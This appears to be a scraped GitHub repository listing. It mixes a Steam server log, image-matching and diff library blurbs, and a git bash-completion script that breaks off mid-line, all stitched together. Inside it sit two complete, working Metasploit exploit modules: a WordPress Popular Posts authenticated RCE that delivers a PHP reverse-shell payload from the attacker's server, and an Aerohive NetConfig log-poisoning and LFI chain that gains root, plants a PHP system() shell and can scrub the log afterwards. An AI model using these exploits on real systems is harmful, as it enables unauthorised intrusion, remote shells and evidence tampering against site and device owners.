09:17:14 Connection to Steam servers successful. 09:17:14 Public IP is 89.203.193.220. 09:17:14 Assigned persistent gameserver Steam ID [G:1:3976299]. 09:17:14 Gameserver logged on to Steam, assigned identity steamid:85568392924015723 09:17:14 Set SteamNetworkingSockets P2P_STUN_ServerList to '146.66.155.54:3478' as per SteamNetworkingSocketsSerialized 09:17:15 VAC secure mode is activated. 09:17:15 Received server welcome from GC. 09:17:15 GC Connection established for server version 1219, instance idx 1
sotanmochi / PatchMatch UnityA GPU implementation of PatchMatch in Unity using Compute Shader
CodeJjang / Multiscale Attention Patch MatchingNo description available
giantchen / Google Diff Match PatchAutomatically exported from code.google.com/p/google-diff-match-patch
nonoroazoro / Diff Match Patch Typescript🚁 TypeScript port of google/diff-match-patch.
qfiard / Diff Match PatchC++11 port of the Diff, Match and Patch libraries for Plain Text.
ClementGiron / SuperPatchMatchImplementation of the SuperPatchMatch algorithm - application to image segmentation
Nate0634034090 / Nate158g M W N L P D A O E### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super( update_info( info, 'Name' => 'Wordpress Popular Posts Authenticated RCE', 'Description' => %q{ This exploit requires Metasploit to have a FQDN and the ability to run a payload web server on port 80, 443, or 8080. The FQDN must also not resolve to a reserved address (192/172/127/10). The server must also respond to a HEAD request for the payload, prior to getting a GET request. This exploit leverages an authenticated improper input validation in Wordpress plugin Popular Posts <= 5.3.2. The exploit chain is rather complicated. Authentication is required and 'gd' for PHP is required on the server. Then the Popular Post plugin is reconfigured to allow for an arbitrary URL for the post image in the widget. A post is made, then requests are sent to the post to make it more popular than the previous #1 by 5. Once the post hits the top 5, and after a 60sec (we wait 90) server cache refresh, the homepage widget is loaded which triggers the plugin to download the payload from our server. Our payload has a 'GIF' header, and a double extension ('.gif.php') allowing for arbitrary PHP code to be executed. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'Simone Cristofaro', # edb 'Jerome Bruandet' # original analysis ], 'References' => [ [ 'EDB', '50129' ], [ 'URL', 'https://blog.nintechnet.com/improper-input-validation-fixed-in-wordpress-popular-posts-plugin/' ], [ 'WPVDB', 'bd4f157c-a3d7-4535-a587-0102ba4e3009' ], [ 'URL', 'https://plugins.trac.wordpress.org/changeset/2542638' ], [ 'URL', 'https://github.com/cabrerahector/wordpress-popular-posts/commit/d9b274cf6812eb446e4103cb18f69897ec6fe601' ], [ 'CVE', '2021-42362' ] ], 'Platform' => ['php'], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Privileged' => false, 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Automatic Target', {}] ], 'DisclosureDate' => '2021-06-11', 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp', 'WfsDelay' => 3000 # 50 minutes, other visitors to the site may trigger }, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options [ OptString.new('USERNAME', [true, 'Username of the account', 'admin']), OptString.new('PASSWORD', [true, 'Password of the account', 'admin']), OptString.new('TARGETURI', [true, 'The base path of the Wordpress server', '/']), # https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L560 OptString.new('SRVHOSTNAME', [true, 'FQDN of the metasploit server. Must not resolve to a reserved address (192/10/127/172)', '']), # https://github.com/WordPress/wordpress-develop/blob/5.8/src/wp-includes/http.php#L584 OptEnum.new('SRVPORT', [true, 'The local port to listen on.', 'login', ['80', '443', '8080']]), ] end def check return CheckCode::Safe('Wordpress not detected.') unless wordpress_and_online? checkcode = check_plugin_version_from_readme('wordpress-popular-posts', '5.3.3') if checkcode == CheckCode::Safe print_error('Popular Posts not a vulnerable version') end return checkcode end def trigger_payload(on_disk_payload_name) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => 'true' ) # loop this 5 times just incase there is a time delay in writing the file by the server (1..5).each do |i| print_status("Triggering shell at: #{normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name)} in 10 seconds. Attempt #{i} of 5") Rex.sleep(10) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wordpress-popular-posts', on_disk_payload_name), 'keep_cookies' => 'true' ) end if res && res.code == 404 print_error('Failed to find payload, may not have uploaded correctly.') end end def on_request_uri(cli, request, payload_name, post_id) if request.method == 'HEAD' print_good('Responding to initial HEAD request (passed check 1)') # according to https://stackoverflow.com/questions/3854842/content-length-header-with-head-requests we should have a valid Content-Length # however that seems to be calculated dynamically, as it is overwritten to 0 on this response. leaving here as notes. # also didn't want to send the true payload in the body to make the size correct as that gives a higher chance of us getting caught return send_response(cli, '', { 'Content-Type' => 'image/gif', 'Content-Length' => "GIF#{payload.encoded}".length.to_s }) end if request.method == 'GET' on_disk_payload_name = "#{post_id}_#{payload_name}" register_file_for_cleanup(on_disk_payload_name) print_good('Responding to GET request (passed check 2)') send_response(cli, "GIF#{payload.encoded}", 'Content-Type' => 'image/gif') close_client(cli) # for some odd reason we need to close the connection manually for PHP/WP to finish its functions Rex.sleep(2) # wait for WP to finish all the checks it needs trigger_payload(on_disk_payload_name) end print_status("Received unexpected #{request.method} request") end def check_gd_installed(cookie) vprint_status('Checking if gd is installed') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'GET', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 res.body.include? ' gd' end def get_wpp_admin_token(cookie) vprint_status('Retrieving wpp_admin token') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'GET', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'tools' } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 /<input type="hidden" id="wpp-admin-token" name="wpp-admin-token" value="([^"]*)/ =~ res.body Regexp.last_match(1) end def change_settings(cookie, token) vprint_status('Updating popular posts settings for images') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' }, 'vars_post' => { 'upload_thumb_src' => '', 'thumb_source' => 'custom_field', 'thumb_lazy_load' => 0, 'thumb_field' => 'wpp_thumbnail', 'thumb_field_resize' => 1, 'section' => 'thumb', 'wpp-admin-token' => token } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'Unable to save/change settings') unless /<strong>Settings saved/ =~ res.body end def clear_cache(cookie, token) vprint_status('Clearing image cache') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'options-general.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_get' => { 'page' => 'wordpress-popular-posts', 'tab' => 'debug' }, 'vars_post' => { 'action' => 'wpp_clear_thumbnail', 'wpp-admin-token' => token } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 end def enable_custom_fields(cookie, custom_nonce, post) # this should enable the ajax_nonce, it will 302 us back to the referer page as well so we can get it. res = send_request_cgi!( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'post.php'), 'cookie' => cookie, 'keep_cookies' => 'true', 'method' => 'POST', 'vars_post' => { 'toggle-custom-fields-nonce' => custom_nonce, '_wp_http_referer' => "#{normalize_uri(target_uri.path, 'wp-admin', 'post.php')}?post=#{post}&action=edit", 'action' => 'toggle-custom-fields' } ) /name="_ajax_nonce-add-meta" value="([^"]*)/ =~ res.body Regexp.last_match(1) end def create_post(cookie) vprint_status('Creating new post') # get post ID and nonces res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'post-new.php'), 'cookie' => cookie, 'keep_cookies' => 'true' ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 /name="_ajax_nonce-add-meta" value="(?<ajax_nonce>[^"]*)/ =~ res.body /wp.apiFetch.nonceMiddleware = wp.apiFetch.createNonceMiddleware\( "(?<wp_nonce>[^"]*)/ =~ res.body /},"post":{"id":(?<post_id>\d*)/ =~ res.body if ajax_nonce.nil? print_error('missing ajax nonce field, attempting to re-enable. if this fails, you may need to change the interface to enable this. See https://www.hostpapa.com/knowledgebase/add-custom-meta-boxes-wordpress-posts/. Or check (while writing a post) Options > Preferences > Panels > Additional > Custom Fields.') /name="toggle-custom-fields-nonce" value="(?<custom_nonce>[^"]*)/ =~ res.body ajax_nonce = enable_custom_fields(cookie, custom_nonce, post_id) end unless ajax_nonce.nil? vprint_status("ajax nonce: #{ajax_nonce}") end unless wp_nonce.nil? vprint_status("wp nonce: #{wp_nonce}") end unless post_id.nil? vprint_status("Created Post: #{post_id}") end fail_with(Failure::UnexpectedReply, 'Unable to retrieve nonces and/or new post id') unless ajax_nonce && wp_nonce && post_id # publish new post vprint_status("Writing content to Post: #{post_id}") # this is very different from the EDB POC, I kept getting 200 to the home page with their example, so this is based off what the UI submits res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'ctype' => 'application/json', 'accept' => 'application/json', 'vars_get' => { '_locale' => 'user', 'rest_route' => normalize_uri(target_uri.path, 'wp', 'v2', 'posts', post_id) }, 'data' => { 'id' => post_id, 'title' => Rex::Text.rand_text_alphanumeric(20..30), 'content' => "<!-- wp:paragraph -->\n<p>#{Rex::Text.rand_text_alphanumeric(100..200)}</p>\n<!-- /wp:paragraph -->", 'status' => 'publish' }.to_json, 'headers' => { 'X-WP-Nonce' => wp_nonce, 'X-HTTP-Method-Override' => 'PUT' } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'Post failed to publish') unless res.body.include? '"status":"publish"' return post_id, ajax_nonce, wp_nonce end def add_meta(cookie, post_id, ajax_nonce, payload_name) payload_url = "http://#{datastore['SRVHOSTNAME']}:#{datastore['SRVPORT']}/#{payload_name}" vprint_status("Adding malicious metadata for redirect to #{payload_url}") res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'), 'method' => 'POST', 'cookie' => cookie, 'keep_cookies' => 'true', 'vars_post' => { '_ajax_nonce' => 0, 'action' => 'add-meta', 'metakeyselect' => 'wpp_thumbnail', 'metakeyinput' => '', 'metavalue' => payload_url, '_ajax_nonce-add-meta' => ajax_nonce, 'post_id' => post_id } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'Failed to update metadata') unless res.body.include? "<tr id='meta-" end def boost_post(cookie, post_id, wp_nonce, post_count) # redirect as needed res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php'), 'keep_cookies' => 'true', 'cookie' => cookie, 'vars_get' => { 'page_id' => post_id } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 || res.code == 301 print_status("Sending #{post_count} views to #{res.headers['Location']}") location = res.headers['Location'].split('/')[3...-1].join('/') # http://example.com/<take this value>/<and anything after> (1..post_count).each do |_c| res = send_request_cgi!( 'uri' => "/#{location}", 'cookie' => cookie, 'keep_cookies' => 'true' ) # just send away, who cares about the response fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 200 res = send_request_cgi( # this URL varies from the POC on EDB, and is modeled after what the browser does 'uri' => normalize_uri(target_uri.path, 'index.php'), 'vars_get' => { 'rest_route' => normalize_uri('wordpress-popular-posts', 'v1', 'popular-posts') }, 'keep_cookies' => 'true', 'method' => 'POST', 'cookie' => cookie, 'vars_post' => { '_wpnonce' => wp_nonce, 'wpp_id' => post_id, 'sampling' => 0, 'sampling_rate' => 100 } ) fail_with(Failure::Unreachable, 'Site not responding') unless res fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless res.code == 201 end fail_with(Failure::Unreachable, 'Site not responding') unless res end def get_top_posts print_status('Determining post with most views') res = get_widget />(?<views>\d+) views</ =~ res.body views = views.to_i print_status("Top Views: #{views}") views += 5 # make us the top post unless datastore['VISTS'].nil? print_status("Overriding post count due to VISITS being set, from #{views} to #{datastore['VISITS']}") views = datastore['VISITS'] end views end def get_widget # load home page to grab the widget ID. At times we seem to hit the widget when it's refreshing and it doesn't respond # which then would kill the exploit, so in this case we just keep trying. (1..10).each do |_| @res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => 'true' ) break unless @res.nil? end fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless @res.code == 200 /data-widget-id="wpp-(?<widget_id>\d+)/ =~ @res.body # load the widget directly (1..10).each do |_| @res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'index.php', 'wp-json', 'wordpress-popular-posts', 'v1', 'popular-posts', 'widget', widget_id), 'keep_cookies' => 'true', 'vars_get' => { 'is_single' => 0 } ) break unless @res.nil? end fail_with(Failure::UnexpectedReply, 'Failed to retrieve page') unless @res.code == 200 @res end def exploit fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful') if datastore['SRVHOST'] == '0.0.0.0' cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD']) if cookie.nil? vprint_error('Invalid login, check credentials') return end payload_name = "#{Rex::Text.rand_text_alphanumeric(5..8)}.gif.php" vprint_status("Payload file name: #{payload_name}") fail_with(Failure::NotVulnerable, 'gd is not installed on server, uexploitable') unless check_gd_installed(cookie) post_count = get_top_posts # we dont need to pass the cookie anymore since its now saved into http client token = get_wpp_admin_token(cookie) vprint_status("wpp_admin_token: #{token}") change_settings(cookie, token) clear_cache(cookie, token) post_id, ajax_nonce, wp_nonce = create_post(cookie) print_status('Starting web server to handle request for image payload') start_service({ 'Uri' => { 'Proc' => proc { |cli, req| on_request_uri(cli, req, payload_name, post_id) }, 'Path' => "/#{payload_name}" } }) add_meta(cookie, post_id, ajax_nonce, payload_name) boost_post(cookie, post_id, wp_nonce, post_count) print_status('Waiting 90sec for cache refresh by server') Rex.sleep(90) print_status('Attempting to force loading of shell by visiting to homepage and loading the widget') res = get_widget print_good('We made it to the top!') if res.body.include? payload_name # if res.body.include? datastore['SRVHOSTNAME'] # fail_with(Failure::UnexpectedReply, "Found #{datastore['SRVHOSTNAME']} in page content. Payload likely wasn't copied to the server.") # end # at this point, we rely on our web server getting requests to make the rest happen endend### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Aerohive NetConfig 10.0r8a LFI and log poisoning to RCE', 'Description' => %q{ This module exploits LFI and log poisoning vulnerabilities (CVE-2020-16152) in Aerohive NetConfig, version 10.0r8a build-242466 and older in order to achieve unauthenticated remote code execution as the root user. NetConfig is the Aerohive/Extreme Networks HiveOS administrative webinterface. Vulnerable versions allow for LFI because they rely on a version of PHP 5 that is vulnerable to string truncation attacks. This module leverages this issue in conjunction with log poisoning to gain RCE as root. Upon successful exploitation, the Aerohive NetConfig application will hang for as long as the spawned shell remains open. Closing the session should render the app responsive again. The module provides an automatic cleanup option to clean the log. However, this option is disabled by default because any modifications to the /tmp/messages log, even via sed, may render the target (temporarily) unexploitable. This state can last over an hour. This module has been successfully tested against Aerohive NetConfig versions 8.2r4 and 10.0r7a. }, 'License' => MSF_LICENSE, 'Author' => [ 'Erik de Jong', # github.com/eriknl - discovery and PoC 'Erik Wynter' # @wyntererik - Metasploit ], 'References' => [ ['CVE', '2020-16152'], # still categorized as RESERVED ['URL', 'https://github.com/eriknl/CVE-2020-16152'] # analysis and PoC code ], 'DefaultOptions' => { 'SSL' => true, 'RPORT' => 443 }, 'Platform' => %w[linux unix], 'Arch' => [ ARCH_ARMLE, ARCH_CMD ], 'Targets' => [ [ 'Linux', { 'Arch' => [ARCH_ARMLE], 'Platform' => 'linux', 'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp', 'CMDSTAGER::FLAVOR' => 'curl' } } ], [ 'CMD', { 'Arch' => [ARCH_CMD], 'Platform' => 'unix', 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_openssl' # this may be the only payload that works for this target' } } ] ], 'Privileged' => true, 'DisclosureDate' => '2020-02-17', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options [ OptString.new('TARGETURI', [true, 'The base path to Aerohive NetConfig', '/']), OptBool.new('AUTO_CLEAN_LOG', [true, 'Automatically clean the /tmp/messages log upon spawning a shell. WARNING! This may render the target unexploitable', false]), ] end def auto_clean_log datastore['AUTO_CLEAN_LOG'] end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'index.php5') }) unless res return CheckCode::Unknown('Connection failed.') end unless res.code == 200 && res.body.include?('Aerohive NetConfig UI') return CheckCode::Safe('Target is not an Aerohive NetConfig application.') end version = res.body.scan(/action="login\.php5\?version=(.*?)"/)&.flatten&.first unless version return CheckCode::Detected('Could not determine Aerohive NetConfig version.') end begin if Rex::Version.new(version) <= Rex::Version.new('10.0r8a') return CheckCode::Appears("The target is Aerohive NetConfig version #{version}") else print_warning('It should be noted that it is unclear if/when this issue was patched, so versions after 10.0r8a may still be vulnerable.') return CheckCode::Safe("The target is Aerohive NetConfig version #{version}") end rescue StandardError => e return CheckCode::Unknown("Failed to obtain a valid Aerohive NetConfig version: #{e}") end end def poison_log password = rand_text_alphanumeric(8..12) @shell_cmd_name = rand_text_alphanumeric(3..6) @poison_cmd = "<?php system($_POST['#{@shell_cmd_name}']);?>" # Poison /tmp/messages print_status('Attempting to poison the log at /tmp/messages...') res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'login.php5'), 'vars_post' => { 'login_auth' => 0, 'miniHiveUI' => 1, 'authselect' => 'Name/Password', 'userName' => @poison_cmd, 'password' => password } }) unless res fail_with(Failure::Disconnected, 'Connection failed while trying to poison the log at /tmp/messages') end unless res.code == 200 && res.body.include?('cmn/redirectLogin.php5?ERROR_TYPE=MQ==') fail_with(Failure::UnexpectedReply, 'Unexpected response received while trying to poison the log at /tmp/messages') end print_status('Server responded as expected. Continuing...') end def on_new_session(session) log_cleaned = false if auto_clean_log print_status('Attempting to clean the log file at /tmp/messages...') print_warning('Please note this will render the target (temporarily) unexploitable. This state can last over an hour.') begin # We need remove the line containing the PHP system call from /tmp/messages # The special chars in the PHP syscall make it nearly impossible to use sed to replace the PHP syscall with a regular username. # Instead, let's avoid special chars by stringing together some grep commands to make sure we have the right line and then removing that entire line # The impact of using sed to edit the file on the fly and using grep to create a new file and overwrite /tmp/messages with it, is the same: # In both cases the app will likely stop writing to /tmp/messages for quite a while (could be over an hour), rendering the target unexploitable during that period. line_to_delete_file = "/tmp/#{rand_text_alphanumeric(5..10)}" clean_messages_file = "/tmp/#{rand_text_alphanumeric(5..10)}" cmds_to_clean_log = "grep #{@shell_cmd_name} /tmp/messages | grep POST | grep 'php system' > #{line_to_delete_file}; "\ "grep -vFf #{line_to_delete_file} /tmp/messages > #{clean_messages_file}; mv #{clean_messages_file} /tmp/messages; rm -f #{line_to_delete_file}" if session.type.to_s.eql? 'meterpreter' session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi' session.sys.process.execute('/bin/sh', "-c \"#{cmds_to_clean_log}\"") # Wait for cleanup Rex.sleep 5 # Check for the PHP system call in /tmp/messages messages_contents = session.fs.file.open('/tmp/messages').read.to_s # using =~ here produced unexpected results, so include? is used instead unless messages_contents.include?(@poison_cmd) log_cleaned = true end elsif session.type.to_s.eql?('shell') session.shell_command_token(cmds_to_clean_log.to_s) # Check for the PHP system call in /tmp/messages poison_evidence = session.shell_command_token("grep #{@shell_cmd_name} /tmp/messages | grep POST | grep 'php system'") # using =~ here produced unexpected results, so include? is used instead unless poison_evidence.include?(@poison_cmd) log_cleaned = true end end rescue StandardError => e print_error("Error during cleanup: #{e.message}") ensure super end unless log_cleaned print_warning("Could not replace the PHP system call '#{@poison_cmd}' in /tmp/messages") end end if log_cleaned print_good('Successfully cleaned up the log by deleting the line with the PHP syscal from /tmp/messages.') else print_warning("Erasing the log poisoning evidence will require manually editing/removing the line in /tmp/messages that contains the poison command:\n\t#{@poison_cmd}") print_warning('Please note that any modifications to /tmp/messages, even via sed, will render the target (temporarily) unexploitable. This state can last over an hour.') print_warning('Deleting /tmp/messages or clearing out the file may break the application.') end end def execute_command(cmd, _opts = {}) print_status('Attempting to execute the payload') send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'action.php5'), 'vars_get' => { '_action' => 'list', 'debug' => 'true' }, 'vars_post' => { '_page' => rand_text_alphanumeric(1) + '/..' * 8 + '/' * 4041 + '/tmp/messages', # Trigger LFI through path truncation @shell_cmd_name => cmd } }, 0) print_warning('In case of successful exploitation, the Aerohive NetConfig web application will hang for as long as the spawned shell remains open.') end def exploit poison_log if target.arch.first == ARCH_CMD print_status('Executing the payload') execute_command(payload.encoded) else execute_cmdstager(background: true) end endend
EternalNation / PatchMatchingPatchMatching and Generalized Patch Matching algorithm for Image Editing and Computer Vision
panmari / PatchMatchNo description available
avalonstrel / PatchMatch PytorchPatch Match implemented in Pytorch
qq456cvb / PatchMatchStereohttps://www.microsoft.com/en-us/research/wp-content/uploads/2011/01/PatchMatchStereo_BMVC2011_6MB.pdf
questionmark1122 / Cnn10#!bash # # bash completion support for core Git. # # Copyright (C) 2006,2007 Shawn O. Pearce <spearce@spearce.org> # Conceptually based on gitcompletion (http://gitweb.hawaga.org.uk/). # Distributed under the GNU General Public License, version 2.0. # # The contained completion routines provide support for completing: # # *) local and remote branch names # *) local and remote tag names # *) .git/remotes file names # *) git 'subcommands' # *) tree paths within 'ref:path/to/file' expressions # *) common --long-options # # To use these routines: # # 1) Copy this file to somewhere (e.g. ~/.git-completion.sh). # 2) Added the following line to your .bashrc: # source ~/.git-completion.sh # # 3) Consider changing your PS1 to also show the current branch: # PS1='[\u@\h \W$(__git_ps1 " (%s)")]\$ ' # # The argument to __git_ps1 will be displayed only if you # are currently in a git repository. The %s token will be # the name of the current branch. # # In addition, if you set GIT_PS1_SHOWDIRTYSTATE to a nonempty # value, unstaged (*) and staged (+) changes will be shown next # to the branch name. You can configure this per-repository # with the bash.showDirtyState variable, which defaults to true # once GIT_PS1_SHOWDIRTYSTATE is enabled. # # You can also see if currently something is stashed, by setting # GIT_PS1_SHOWSTASHSTATE to a nonempty value. If something is stashed, # then a '$' will be shown next to the branch name. # # If you would like to see if there're untracked files, then you can # set GIT_PS1_SHOWUNTRACKEDFILES to a nonempty value. If there're # untracked files, then a '%' will be shown next to the branch name. # # If you would like to see the difference between HEAD and its # upstream, set GIT_PS1_SHOWUPSTREAM="auto". A "<" indicates # you are behind, ">" indicates you are ahead, and "<>" # indicates you have diverged. You can further control # behaviour by setting GIT_PS1_SHOWUPSTREAM to a space-separated # list of values: # verbose show number of commits ahead/behind (+/-) upstream # legacy don't use the '--count' option available in recent # versions of git-rev-list # git always compare HEAD to @{upstream} # svn always compare HEAD to your SVN upstream # By default, __git_ps1 will compare HEAD to your SVN upstream # if it can find one, or @{upstream} otherwise. Once you have # set GIT_PS1_SHOWUPSTREAM, you can override it on a # per-repository basis by setting the bash.showUpstream config # variable. # # # To submit patches: # # *) Read Documentation/SubmittingPatches # *) Send all patches to the current maintainer: # # "Shawn O. Pearce" <spearce@spearce.org> # # *) Always CC the Git mailing list: # # git@vger.kernel.org # case "$COMP_WORDBREAKS" in *:*) : great ;; *) COMP_WORDBREAKS="$COMP_WORDBREAKS:" esac # __gitdir accepts 0 or 1 arguments (i.e., location) # returns location of .git repo __gitdir () { if [ -z "${1-}" ]; then if [ -n "${__git_dir-}" ]; then echo "$__git_dir" elif [ -d .git ]; then echo .git else git rev-parse --git-dir 2>/dev/null fi elif [ -d "$1/.git" ]; then echo "$1/.git" else echo "$1" fi } # stores the divergence from upstream in $p # used by GIT_PS1_SHOWUPSTREAM __git_ps1_show_upstream () { local key value local svn_remote=() svn_url_pattern count n local upstream=git legacy="" verbose="" # get some config options from git-config while read key value; do case "$key" in bash.showupstream) GIT_PS1_SHOWUPSTREAM="$value" if [[ -z "${GIT_PS1_SHOWUPSTREAM}" ]]; then p="" return fi ;; svn-remote.*.url) svn_remote[ $((${#svn_remote[@]} + 1)) ]="$value" svn_url_pattern+="\\|$value" upstream=svn+git # default upstream is SVN if available, else git ;; esac done < <(git config -z --get-regexp '^(svn-remote\..*\.url|bash\.showupstream)$' 2>/dev/null | tr '\0\n' '\n ') # parse configuration values for option in ${GIT_PS1_SHOWUPSTREAM}; do case "$option" in git|svn) upstream="$option" ;; verbose) verbose=1 ;; legacy) legacy=1 ;; esac done # Find our upstream case "$upstream" in git) upstream="@{upstream}" ;; svn*) # get the upstream from the "git-svn-id: ..." in a commit message # (git-svn uses essentially the same procedure internally) local svn_upstream=($(git log --first-parent -1 \ --grep="^git-svn-id: \(${svn_url_pattern:2}\)" 2>/dev/null)) if [[ 0 -ne ${#svn_upstream[@]} ]]; then svn_upstream=${svn_upstream[ ${#svn_upstream[@]} - 2 ]} svn_upstream=${svn_upstream%@*} for ((n=1; "$n" <= "${#svn_remote[@]}"; ++n)); do svn_upstream=${svn_upstream#${svn_remote[$n]}} done if [[ -z "$svn_upstream" ]]; then # default branch name for checkouts with no layout: upstream=${GIT_SVN_ID:-git-svn} else upstream=${svn_upstream#/} fi elif [[ "svn+git" = "$upstream" ]]; then upstream="@{upstream}" fi ;; esac # Find how many commits we are ahead/behind our upstream if [[ -z "$legacy" ]]; then count="$(git rev-list --count --left-right \ "$upstream"...HEAD 2>/dev/null)" else # produce equivalent output to --count for older versions of git local commits if commits="$(git rev-list --left-right "$upstream"...HEAD 2>/dev/null)" then local commit behind=0 ahead=0 for commit in $commits do case "$commit" in "<"*) let ++behind ;; *) let ++ahead ;; esac done count="$behind $ahead" else count="" fi fi # calculate the result if [[ -z "$verbose" ]]; then case "$count" in "") # no upstream p="" ;; "0 0") # equal to upstream p="=" ;; "0 "*) # ahead of upstream p=">" ;; *" 0") # behind upstream p="<" ;; *) # diverged from upstream p="<>" ;; esac else case "$count" in "") # no upstream p="" ;; "0 0") # equal to upstream p=" u=" ;; "0 "*) # ahead of upstream p=" u+${count#0 }" ;; *" 0") # behind upstream p=" u-${count% 0}" ;; *) # diverged from upstream p=" u+${count#* }-${count% *}" ;; esac fi } # __git_ps1 accepts 0 or 1 arguments (i.e., format string) # returns text to add to bash PS1 prompt (includes branch name) __git_ps1 () { local g="$(__gitdir)" if [ -n "$g" ]; then local r="" local b="" if [ -f "$g/rebase-merge/interactive" ]; then r="|REBASE-i" b="$(cat "$g/rebase-merge/head-name")" elif [ -d "$g/rebase-merge" ]; then r="|REBASE-m" b="$(cat "$g/rebase-merge/head-name")" else if [ -d "$g/rebase-apply" ]; then if [ -f "$g/rebase-apply/rebasing" ]; then r="|REBASE" elif [ -f "$g/rebase-apply/applying" ]; then r="|AM" else r="|AM/REBASE" fi elif [ -f "$g/MERGE_HEAD" ]; then r="|MERGING" elif [ -f "$g/BISECT_LOG" ]; then r="|BISECTING" fi b="$(git symbolic-ref HEAD 2>/dev/null)" || { b="$( case "${GIT_PS1_DESCRIBE_STYLE-}" in (contains) git describe --contains HEAD ;; (branch) git describe --contains --all HEAD ;; (describe) git describe HEAD ;; (* | default) git describe --exact-match HEAD ;; esac 2>/dev/null)" || b="$(cut -c1-7 "$g/HEAD" 2>/dev/null)..." || b="unknown" b="($b)" } fi local w="" local i="" local s="" local u="" local c="" local p="" if [ "true" = "$(git rev-parse --is-inside-git-dir 2>/dev/null)" ]; then if [ "true" = "$(git rev-parse --is-bare-repository 2>/dev/null)" ]; then c="BARE:" else b="GIT_DIR!" fi elif [ "true" = "$(git rev-parse --is-inside-work-tree 2>/dev/null)" ]; then if [ -n "${GIT_PS1_SHOWDIRTYSTATE-}" ]; then if [ "$(git config --bool bash.showDirtyState)" != "false" ]; then git diff --no-ext-diff --quiet --exit-code || w="*" if git rev-parse --quiet --verify HEAD >/dev/null; then git diff-index --cached --quiet HEAD -- || i="+" else i="#" fi fi fi if [ -n "${GIT_PS1_SHOWSTASHSTATE-}" ]; then git rev-parse 